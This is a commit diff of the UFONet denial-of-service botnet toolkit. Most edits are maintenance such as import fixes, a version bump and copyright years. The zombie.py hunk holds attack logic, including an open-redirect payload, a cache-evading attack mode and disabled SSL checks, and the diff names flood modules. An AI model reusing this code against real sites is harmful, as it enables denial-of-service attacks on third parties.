-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 dns_file = "botnet/dns.txt" # OpenDNS servers IP list
 dns_file = "botnet/dns.txt" # OpenDNS servers IP list

+ 3 - 3
core/mods/ufoack.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -15,9 +15,9 @@ try:
 except:
 except:
     from urllib.parse import urlparse
     from urllib.parse import urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet TCP 'ACK+PUSH' packet attack (UFOACK)
 # UFONet TCP 'ACK+PUSH' packet attack (UFOACK)

+ 2 - 2
core/mods/uforst.py

@@ -15,9 +15,9 @@ try:
 except:
 except:
     from urllib.parse import urlparse
     from urllib.parse import urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet TCP 'RST+FIN' packet attack (UFORST)
 # UFONet TCP 'RST+FIN' packet attack (UFORST)

+ 3 - 3
core/mods/ufosyn.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -15,9 +15,9 @@ try:
 except:
 except:
     from urllib.parse import urlparse
     from urllib.parse import urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet TCP SYN Flooder (UFOSYN)
 # UFONet TCP SYN Flooder (UFOSYN)

+ 3 - 3
core/mods/ufoudp.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -15,9 +15,9 @@ try:
 except:
 except:
     from urllib.parse import urlparse
     from urllib.parse import urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet UDP flooder (UFOUDP)
 # UFONet UDP flooder (UFOUDP)

+ 2 - 2
core/mods/xmas.py

@@ -15,9 +15,9 @@ try:
 except:
 except:
     from urllib.parse import urlparse
     from urllib.parse import urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet TCP 'Christmas Tree' packet attack (XMAS)
 # UFONet TCP 'Christmas Tree' packet attack (XMAS)

+ 3 - 3
core/options.py

@@ -49,7 +49,7 @@ class UFONetOptions(optparse.OptionParser):
         optparse.OptionParser.__init__(self, 
         optparse.OptionParser.__init__(self, 
         description='\n{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}',
         description='\n{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}',
         prog='./ufonet',
         prog='./ufonet',
-        version='\nVersion: 1.8 '+"\u25BC "+'[DPh] DarK-PhAnT0m! '+"\u25BC"+'\n')
+        version='\nVersion: 1.9 '+"\u25BC "+'[F4T] F4ll0uT! '+"\u25BC"+'\n')
         self.add_option("-v", "--verbose", action="store_true", dest="verbose", help="active verbose on requests")
         self.add_option("-v", "--verbose", action="store_true", dest="verbose", help="active verbose on requests")
         self.add_option("--examples", action="store_true", dest="examples", help="print some examples")
         self.add_option("--examples", action="store_true", dest="examples", help="print some examples")
         self.add_option("--timeline", action="store_true", dest="timeline", help="show program's code timeline")
         self.add_option("--timeline", action="store_true", dest="timeline", help="show program's code timeline")
@@ -83,7 +83,7 @@ class UFONetOptions(optparse.OptionParser):
         group2.add_option("--sn", action="store", dest="num_results", help="Set max number of results for engine (default: 10)")
         group2.add_option("--sn", action="store", dest="num_results", help="Set max number of results for engine (default: 10)")
         group2.add_option("--se", action="store", dest="engine", help="Search engine for 'dorking' (default: DuckDuckGo)")
         group2.add_option("--se", action="store", dest="engine", help="Search engine for 'dorking' (default: DuckDuckGo)")
         group2.add_option("--sa", action="store_true", dest="allengines", help="Search massively using all engines (may take time!)")
         group2.add_option("--sa", action="store_true", dest="allengines", help="Search massively using all engines (may take time!)")
-        group2.add_option("--sax", action="store", dest="ex_engine", help="Exclude engines when mass searching (ex: 'Bing,Yahoo')")
+        group2.add_option("--sax", action="store", dest="ex_engine", help="Exclude engines when mass searching (ex: 'Bing')")
         self.add_option_group(group2)
         self.add_option_group(group2)
         group3 = optparse.OptionGroup(self, "*Test Botnet*")
         group3 = optparse.OptionGroup(self, "*Test Botnet*")
         group3.add_option("--test-offline", action="store_true", dest="testoffline", help="Fast check to discard offline bots")
         group3.add_option("--test-offline", action="store_true", dest="testoffline", help="Fast check to discard offline bots")
@@ -146,7 +146,7 @@ class UFONetOptions(optparse.OptionParser):
         self.add_option_group(group8)
         self.add_option_group(group8)
 
 
     def extract_sengines(self):
     def extract_sengines(self):
-        sengines = ["Yahoo", "Bing", "DuckDuckGo"]
+        sengines = ["Bing", "DuckDuckGo"]
         sengines = len(sengines)
         sengines = len(sengines)
         return sengines
         return sengines
 
 

+ 3 - 3
core/tools/crypter.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -20,7 +20,7 @@ MAC_SIZE = 20
 import base64
 import base64
 from os import urandom
 from os import urandom
 from hashlib import sha1, sha256
 from hashlib import sha1, sha256
-from Crypto.Cipher import AES
+from Cryptodome.Cipher import AES
 
 
 trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
 trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
 trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
 trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
@@ -66,7 +66,7 @@ class Cipher(object):
         return self.key
         return self.key
 
 
     def set_text(self, text):
     def set_text(self, text):
-        self.text = text 
+        self.text = text.encode("utf-8") 
         return self.text
         return self.text
 
 
     def encrypt(self):
     def encrypt(self):

+ 3 - 3
core/tools/ufoscan.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -12,9 +12,9 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, time, random
 import sys, time, random
 from urllib.parse import urlparse as urlparse
 from urllib.parse import urlparse as urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet port scanner (UFOSCAN) class
 # UFONet port scanner (UFOSCAN) class

+ 1 - 1
core/txt/model.txt

@@ -1 +1 @@
-ViPR404+/(model:I^4)
+ViPR404+/(model:I^4*2)

文件差異過大導致無法顯示
+ 45 - 20
core/webgui.py


+ 17 - 15
core/zombie.py

@@ -9,13 +9,13 @@ You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 """
-import io, hashlib, re, sys
+import io, hashlib, re, sys, certifi
 import time, threading, random
 import time, threading, random
 from .randomip import RandomIP
 from .randomip import RandomIP
 try:
 try:
     import pycurl
     import pycurl
 except:
 except:
-    print("\nError importing: pycurl lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-pycurl'\n")
+    print("\nError importing: pycurl lib. \n\n")
     sys.exit(2)
     sys.exit(2)
 
 
 class Zombie: # class representing a zombie
 class Zombie: # class representing a zombie
@@ -49,7 +49,7 @@ class Zombie: # class representing a zombie
                 c.setopt(pycurl.URL, self.zombie) # set 'self.zombie' target
                 c.setopt(pycurl.URL, self.zombie) # set 'self.zombie' target
             except:
             except:
                 c.setopt(pycurl.URL, self.zombie.encode('utf-8')) 
                 c.setopt(pycurl.URL, self.zombie.encode('utf-8')) 
-            c.setopt(pycurl.NOBODY, 1) # use HEAD
+            c.setopt(pycurl.NOBODY, True) # use HEAD
         if self.payload == True:
         if self.payload == True:
             payload = self.zombie + "https://www.whitehouse.gov" # Open Redirect payload [requested by all UFONet motherships ;-)]
             payload = self.zombie + "https://www.whitehouse.gov" # Open Redirect payload [requested by all UFONet motherships ;-)]
             try:
             try:
@@ -57,18 +57,18 @@ class Zombie: # class representing a zombie
             except:
             except:
                 c.setopt(pycurl.URL, payload.encode('utf-8'))
                 c.setopt(pycurl.URL, payload.encode('utf-8'))
             c.setopt(pycurl.NOBODY, 0) # use GET
             c.setopt(pycurl.NOBODY, 0) # use GET
-        if self.ufo.external == True:
-            external_service = "https://status.ws/" # external check
-            if options.target.startswith('https://'): # fixing url prefix
-                options.target = options.target.replace('https://','')
-            if options.target.startswith('http://'): # fixing url prefix
-                options.target = options.target.replace('http://','')
-            external = external_service + options.target
-            try:
-                c.setopt(pycurl.URL, external) # external HEAD check before to attack
-            except:
-                c.setopt(pycurl.URL, external.encode('utf-8'))
-            c.setopt(pycurl.NOBODY, 0) # use GET
+        #if self.ufo.external == True:
+        #    external_service = "https://status.ws/" # external check
+        #    if options.target.startswith('https://'): # fixing url prefix
+        #        options.target = options.target.replace('https://','')
+        #    if options.target.startswith('http://'): # fixing url prefix
+        #        options.target = options.target.replace('http://','')
+        #    external = external_service + options.target
+        #    try:
+        #        c.setopt(pycurl.URL, external) # external HEAD check before to attack
+        #    except:
+        #        c.setopt(pycurl.URL, external.encode('utf-8'))
+        #    c.setopt(pycurl.NOBODY, 0) # use GET
         if self.attack_mode == True:
         if self.attack_mode == True:
             if options.place: # use self.zombie's vector to connect to a target's place and add a random query to evade cache
             if options.place: # use self.zombie's vector to connect to a target's place and add a random query to evade cache
                 random_name_hash = random.randint(1, 100000000) 
                 random_name_hash = random.randint(1, 100000000) 
@@ -108,6 +108,7 @@ class Zombie: # class representing a zombie
         c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host
         c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host
         c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer
         c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer
 #       c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3
 #       c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3
+        c.setopt(pycurl.CAINFO, certifi.where()) # black magic
         c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic
         c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic
         c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic
         c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic
         c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache!
         c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache!
@@ -181,6 +182,7 @@ class Zombie: # class representing a zombie
                     self.connection_failed = False
                     self.connection_failed = False
                 except:
                 except:
                     self.connection_failed = True
                     self.connection_failed = True
+
         if self.ufo.head == True: # HEAD reply
         if self.ufo.head == True: # HEAD reply
             try:
             try:
                 reply = b.getvalue().decode('utf-8')
                 reply = b.getvalue().decode('utf-8')

+ 156 - 0
data/board.txt

@@ -0,0 +1,156 @@
+1#!#7#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#212140175485824111505218251179999529722#!#YvOFcxHy0MUd8Ns2cAlQEDljmPzr+keiSGg5KuWwl7TG/Uh/AD2P2y27uPvm39Xxvl2m8EKx/3A=
+1#!#8#!#bf5I7ZY3xAA9Y5sfPMMUHCc9J0cPeBYME1ai9709ZZQVa79rMNkIYLyOaVO7#!#334334049157183219052724429560913566284#!#VUnl1HwVYJF1HKDQrptbPn60tKx7TJFniX2YAQ5/LHjeC2klCFLQ6ID/3k+v0VvXQDfOwA==
+1#!#3#!#m7rymeU3EakyQvXlK+KR4zPNM4+06waNq4mKMRgn5hgs7Ycxa6xu7AvY8Fxs#!#76845957155567697447957951279111129478#!#2n41K/3Uf08bCfvpMFXmQUFlEgRpvxXP6LIeOC0/8ldB2tAcNgn8KTeuL5D2FvCwnN5A9zI6D/ksnik=
+5#!#1#!#PfjlYLy/Jtn5zRgGlfRNrbkV7nHsMZjxHT1++VKt/fw5T1BJp5XohsYf4EQw#!#123134665732506249395777753813753656671#!#w9IPENK5Q6+N+4vaeW7PQgyLsT2M+Q9RQcbqgvtd0eqqfIoQykt9oYp4nJwxCvaebyjMo4rLrDBFitrYnMelLWT2HIWCSa0iKcM8d/HaQJCqZHZ5piY=
+2#!#10#!#gP+zCeo8rSj5mW92gpqrUo1EN7WOmrASku80Hxev+kEFshQLzZzFvsEua32l#!#147652610826723720937816673382092492215#!#Uo4oEiUm8w4KsB7KQTZhQoRlE1HUxH8gtnEXfS48H1TLeqXRxDC7ra4WP7bVyuOWNZoRtuL4vmvJUDqE2Z3pvUWBfUifYrqBv67MEmV6vJoXlQ==
+1#!#2#!#wMmtjEOF2sZHis5dcIWP0Bm0wOgv4+1p0nlLWCtb4NLWLDa5BrcUjs/Ncc3/pw==#!#204757812263135150572573991599326668582#!#lIOlWK2DVaR1aaf/P8mmPubiRa0c1DGv8GcbouqaKGykvCBekhckMhXURngzaliVt/cS3nFyJl7tUA==
+5#!#1#!#MK+g1eva0+h1iuvbw+6/oHL//jhN250xyZ/7p2C89XU9NQ4hVlxpVtOa7jS3#!#50355002629388983641348542694789451548#!#vx0L0NHelG/woXrWTBaauojqbbqsUpOugpWQtNUZxqe4XGX7Bp5Qge2doqYJmCGp
+1#!#7#!#lh/cw4sJkRVwU73zTd0Lel7JgUE4YRgm9UV+5AOJDXOsxSBY63rmT0RUS+I1#!#137785309897790687913565143472628547603#!#kHIKahki0sujDvNi0UTEmEmOcJbjwSQoSIgBOMgrhGh4oI04OOfSzj4g42lVm4/gYtAP6JllUiwuiEAcNz02d6kVh4H3
+1#!#1#!#uZomsxHZ22nc1M7IObMYXOekpH2VVI1XeBF7MfVaaL65A1S9Fy8MTg1M53oR#!#329426538562760366803834626884976244855#!#0fU0KrlM6yCAH50yStfO23ZjQwRnwnNcucF+L/XRyvrwxbaXXx78uTs=
+1#!#4#!#QufTVJFg0/KVpmHEORjA0iGM2uW0DEoPfvQRg3If22NSW/BmcJ6u/vwJj+5n#!#321921253297623828635990077959838980013#!#zCEMOD3kM8LmF7W8kFmzXp+I+Z7+xL46E5c/YIsEMKfkxtcSA+acsgQwnOqmynnE9zR+VFuantC9njNDuemV
+1#!#9#!#nFxIgXSnZAg2wb7ARFfDqdahFU9Gc3fvC2uR0HTKroPV038uLnFTJeNv#!#280713143300290942013590456838901220401#!#4dSh+XSkCLUL1VHAcHqeoCLP2UnfmpI5HlRD5J5QTeN7hsU0XyStFp2oUUWIWrDVSRdj7KkV8cCBW4vAuzNp
+1#!#10#!#R2D7bbY/HQ9CCGnwjFL0pfXrivCVIxyBfinCCI7D0Hb8MePLFhjWQVy5#!#95930744012792543427339900488912150831#!#grXjJhxhxTUP5wDpMdog3qdbS1qVAYrrFTx+z0S/1NqwD1qL/w7rWiXNJlrsi7Nr1/jpF1Q=
+1#!#7#!#PYdpaPRKft3i04g04JEfFGEVkfNEgZtkxKBE0vNH7Y2s7bUbYcUXNUjAeFfR#!#319226042341581141228574715050199132140#!#hnimJs3CVzVzSAp+CDKQ2ekLQ39GmXpdtbdHtlKyM/9R1QwMKYY7z54pyp1LsY1iaMgNnZ19hy3x2SI=
+1#!#3#!#H7LHYm+EXAKmBHxaXEYJZwDY1Uj02pbyuJRCSsigSSVPLE2EaV2vyA==#!#53038694629954868796555205676681859739#!#B6F1xJsJ6lswV6IaUAIDHYewlIqqIjWczo1DV0XRcXo1uWgYw8ys63BD
+1#!#10#!#ujZe1eXVyUCpksylRFlGthVPQpQXhwu96WEBzphNn7fw5QcgT9eh1imsgkKh#!#93123654458963217679151212750491564802#!#ahMsBm3yXzgVMtzwt9CDjTBtFZus52BFDIwcWRcYbU2eRWriSx4cGiCMcRqBsLLysSj1
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#297799268494257111161146237236097309792#!#Bnmj9EgQsgBm8ZXT/Qrt88NQNB6Y+LZrr1+jqca1hI18XPcf2TNaFeRL0S/5iisrCsTaB7gX/6ujXvvhZxHFIYAniP5cIvHWVw/oR41RidKgHGpVOepSnQ0S6Dy+TQLpvow=
+4#!#11#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#161698445888103358239431217731580009731#!#kE98AQTDct865axGV7ltfcBHaOekiJTIbsEmVkUjtbCFZxMVUCoE83zjpkkYqHKCQmIpIRAhpyzb7isWFMO9qqqXHWtdKOUiJuqvwuKPXDolZgEFb7ZMq+Fyaws5uPmIsLp+U7ww
+4#!#4#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#297799268494257111161146237236097309792#!#QZSVlKwXagQfUtSx8OxZMZ595P7vlPmUZYJ2txgKDPjRn0wPiEhWQav5Z46kRzi6Zl0vw5smNrkupZV9nAwlOK1Dr5p0QSZ9B5c+RZayDIzht618SSuu7x7G97zm/5dBQgMumhZ7
+1#!#4#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#297799268494257111161146237236097309792#!#o/jtW8h+Z5Cv+1Gha6PWoIGTuTOlzV4dihCYyHF5c1bmpjCR6cMzyxbOLV8XleMHPc7wrNiYFG+xZ+v7IouZDZ7NAWpTNOYs65ANkWMC1IkFDMJwjqAFiDt+MhE=
+1#!#2#!#PqCrOAZkYorcRsZvz+oIwCjQdp2BszkBvl3eM50Zs5FGuh+Af7IKNfumh+Zk#!#18523703027446265610239927945753795678#!#HHAC3nBcDhW/AJ+KtBYjRfme3/rrw/fNkHfYVtOppIO5dWiVQnE=
+1#!#1#!#ZgQ9oOFmnOwZgp8Hz+17eGoR30ZsbiNM/C9M3IC7JYT3YwemncA5nvY7+EmC#!#287281441593975329041344894824161403596#!#4V7JIBUSJVal+duZ4Zj8iIune56avf95DqZcsGU43tAclYAdoeOFm/hr9Fc4xqsae/gxN/Y8hgpg+wqj6g3YdwVv818RG/89zFKwOq7e8+SK/S9oVZhu9AijISvyMEhq41c1j2/K6Lmc
+1#!#10#!#8JLnb7h0N2+H6GF4Xv/5U1RAHK3QeJWb41Q9XKbLUvOPecGkyblVcaXKSB8r#!#107487855035635988420529454347157605694#!#YPsG0RuwHCXTV7PDJYDWNZuFJSL704xoCOTclTMJOhNwbmfL0NX/FwlbZT6d/XuY+bdbdDuZ2HI=
+1#!#2#!#B3qi4p5f5nWugiSwhXltuIvi+mO7O7PSSNsbfYwHohVrIbPNGobFpkHk39ta#!#116762503592324270326318967988002535767#!#J9Elnixhj20HXCga+JDpoGHrcd3WTa2r3nSk7Ci5Luhi628NGeyJdOuZcX7ZacB1Pot0FX3Q4iEZCKoMeKOgbxjoLozyQZJifcUAIFVc8Ty2j4YU
+1#!#4#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#297799268494257111161146237236097309792#!#xcrgprchWioa9UMae+B7uypBtpWOKIri3MvOytN93r+taY1zIo9sMryfe0+a2JVl/Rl7Y6vX+RXsp1YNBHSGXkEWjzl+f0LLVBTNw6IVHZKb6zysjqrRDNr4sZYDjq5lZjVjSEM=
+1#!#4#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#297799268494257111161146237236097309792#!#5p2ZTqOvoJFzV0lQeHVXElOMh9+cXpzfGBZSayp/hdbRqLeZgUL7k9+/P+041jqaS0vOhjc6PFwLcDNqjlBb6O/IPKasyOEb528dukpCLE0UG5gb9ZAhRsBw/wqSMBsrVFjZSg==
+1#!#2#!#WycKXhwPSV0h51aQcP7+HtHASihLhPmxgAg5MG371kaRMXhuC+L/hqzimDMpaOA=#!#18317725526523180941175639613519400005#!#CUx9Z3/Bp1TjxPCUEXngpHAfNyzAOwp+KT7fxPsqKb+YTqnehrorkkJsWpbHDQ251mie+1/ep7o=
+1#!#4#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#297799268494257111161146237236097309792#!#KDEYUlhJEUGiGUBgtRMAGu5YpfOcc4CYYMqskWL6TrejMXoeq7SmiAG+6XLTGuHl2HMXQnSL7HdwfaRMLmfaUvJD90pQSQ+9vwDP04WC4Tj6zEJONv9PuEdKt/Wqm1gqSw==
+1#!#2#!#ylisfBLiV7nxMkJbsM4N6/8vJA5BAf1JL8vRWo3bgc6ZFMw+PGwyqA==#!#73522669861142442472244192737019056653#!#srGk3O6/a0P7YRq2G8UQlvUR6XzENixTtd7SDSa0/e0kOKrwz1auNElddiuP/jcFLsHDexPhBJA7LT0ZFg5JudrkboAVdrI4p16fcibsK3x/lOyYpITi3hSusVQUE0jGsg==
+1#!#2#!#GGDvuJEPTglbdW/Vc74QAZceUOSUfuaP3vj6WCAS9knKnTakb3iPWg==#!#73522669861142442472244192737019056653#!#aqOntGUe2VQkV4QcMwJb33+Mm3wpzaiALN7D9WDhDt1dD2IY8RzgfQ8=
+1#!#2#!#cc6YAfclAUBUgNoATo/OPsDT3TRGGofHl26wzBQ0acKiOu1zqQackA==#!#293802703209940345986801529138298795290#!#jK3GSOuR7+56LVlIaYSXIZSywna19YF4pQYi7TSPbKo85wHOAmiQonR66/qPUZkS6MIHfYWZ8eU6SOJ9eB8FtRmY
+1#!#2#!#/5f8aa95EYl/jaQrP9uH9HfmyQT9zy80apii3SLC3xoBna63JbO1Ug==#!#293802703209940345986801529138298795290#!#gtJIWEJI1bPEui8IY+7YCmbX8aYc/uSX5N+NJ5nmcpE7++wTXRXqjw==
+5#!#1#!#PfjlYLy/Jtn5zRgGlfRNrbkV7nHsMZjxHT1++VKt/fw5T1BJp5XohsYf4EQw#!#130554034819634193458349119571945793734#!#0Gte5Y6sVzjeHZ/YqOFIUpmPDDLY4fCevocAR4h+GQeC32aRIG58E0C5sOt8PmdI4/6U7mGivelxPCtzfeVdV8bvjEzd7Pl9PmrDHgsqre3+QcrB7ymNBhl4iDWJTd7/
+1#!#10#!#Nhngb9pXOJKtr00ufUqGNrAPO5RrdZNjemLHmiu6+k2fpVCow/PKqMUb2QbD#!#298459306037464845200510238348690125668#!#nmDMyCp7T96WaFOD5mWCX2vA1PRwuAbaLWTJV24JSR7Zp3rOEyWrHSG0X/571r3g4ahtT7Wp
+1#!#7#!#+ZO7PgJZ15pEIikOJIWRjEp5yQWWNO7svhsXNhqq2l8gT+eV9IVv7sYQYMGL#!#310029509757276447280483962961258586812#!#oxffMxUCk/S0p1TYBWNh25pVK2WmUg+SqxZpma9m9ZIKLaPMU3z9Wj+ZnMDcXz/1ptIxLBfyWHeUb3bwt4xx45Qj1eHdOIb3e4kcYBGDvKWT1VDlyaSgMkzi3A==
+1#!#4#!#pXLye0/1ISCw3/WLXaqjZtI6uvefPJyRbQ9TRVt+ROnOV0exL+fB2tIYyJaK#!#150125396772100500324349011447234868943#!#awW9CAm6p7JKgp6GFzez8TZvQfanp98S3+lyD7unNVh3AbC8qW1e2Sri4tuigQFMXGwJrTA8baoMu9L1AEN941dUK04ya/KRUpWf/edHFGurkYg=
+5#!#9#!#PfjlYLy/Jtn5zRgGlfRNrbkV7nHsMZjxHT1++VKt/fw5T1BJp5XohsYf4EQw#!#142820968625841754951414727652705860358#!#CACwS39ZsG69g9BwoaMgN/6pEKAreXUFhCEdaUgkvfYk0bbuR+L/iDdXz5/4ShRl8Sg9fDc3uIqk4orhhrtC7w3wUWH/x6hfnHHSRLs0pQ==
+1#!#2#!#s+8Q5hdV11EkjOmM2eYRcq2fuk1WSpd9BNcEN5Os1CuzgcTVqpKN2WkGNA==#!#236897878111137614229068486275127290897#!#BOmSBlbH4m7aHHQzf119j7c8jeuks442Q4nRdgPa7/om3WpWhDbDOMaySS2dsqVSPpTBrdRo2VFjKYm2AXV1
+1#!#4#!#VQqc1khpf9/YNA/Ov2YmQk3QLxXY4399F/hPQY5WUZRrpV4HE7yJuGAqEKwq#!#268070583661292915832117338204745980522#!#embaedg1AAmdjA0WcvXydiHiSHALvEmwb0PdPckPzy3a+r7CbiADhvQTmrqBOkoSNPJrhiPPHB4=
+5#!#6#!#PfjlYLy/Jtn5zRgGlfRNrbkV7nHsMZjxHT1++VKt/fw5T1BJp5XohsYf4EQw#!#219719106003984127361772493635660465775#!#Omu/RhuzaCQJpnLlspFuV2V0qCEKL1gZSMdOD/A4l0JsZtyaUFpyOHeybBD6y+Er+5qVyd+0wPHv/RT6nIAJHZBFbDtFfmtDRmgwBuG/BA==
+1#!#1#!#SPrVTgA6HVQMDa+odiuWlXsiAYMElWZMgYpmnPtKMtDIZyw+BPe8tByRahBv#!#110000187380438232365902850412288969735#!#eCvE+hyn174TVs7mLT05TfZkYDz6Gsx1LDPYoSWG5bbQTQ8YhrQv
+1#!#1#!#zr2+VTQ9B2nYLnnOt0wcSTsR+/vqtTDcX5VBCPkNVhHKNtTwb4VyCJiBdTvF#!#110000187380438232365902850412288969735#!#s3CGReqhaoCsMZdiXPUEcLWSIV0xwtKgTuVNq3+B7neb476PGI4ZJA==
+1#!#7#!#204sOaHdP2fZvFLAfDHwG24yOl1/yDJ78pfJqytygWNkFtYoP8zy+Fnd#!#119855759044562424544305696972506570801#!#aeqftyuEM8cw4/VhV0xaq5DpCmUMhrFm+M5hkbgQWTk5hO2eaEknVyZOzA==
+1#!#12#!#hFIJKkVd6jDHC/q/mHRghrLfqsBVT3Yno32/eCiZg2lXzKpdNWwHHOY=#!#193820482917635331844779019657085169564#!#NRpKWfQDxeo0g6QhmCZ2s9BdDVB4Nl9fo2An7z1du7kwTcjerW7iAS7qLHPdKEnDiSsMGKaFdcMdENGVkVJP
+1#!#10#!#VRLlFduq7xXlPEEUdswAxeho5HJQU1okfQjeGwJygj4rEmU6h33AUigXnBdUxQc=#!#179805107824230087642769295414671135105#!#hgU2NBXsnaq5V1ddYHQ/bL9wOQ+siTyFpoJXdAIesSsSwCq1FkMP41b611OjyZfkLhAxnav59j4GWwdEOufpjZzvbPOuS0YPn79ipYyZKc87s4qJc/zgbG4J
+1#!#6#!#O5qRNOObwEdm+26zQYtxKEZxaYXtQ0JHRk6WWOs2cEsVRUvQb1xSN90G#!#294954728754860638354756530799677895148#!#ZAL4s9cN9KES1ushiH40XV6RWLiT77s9EHGOP7TfHbmxv0w/Tq9ob/M1aRSDP4FgbUvv9/DRer2h+kRv5VlgNonwWeZaWTiHqHX4Jd02yGJrP92JAxHgMuqdXIH2LKfpZjFi
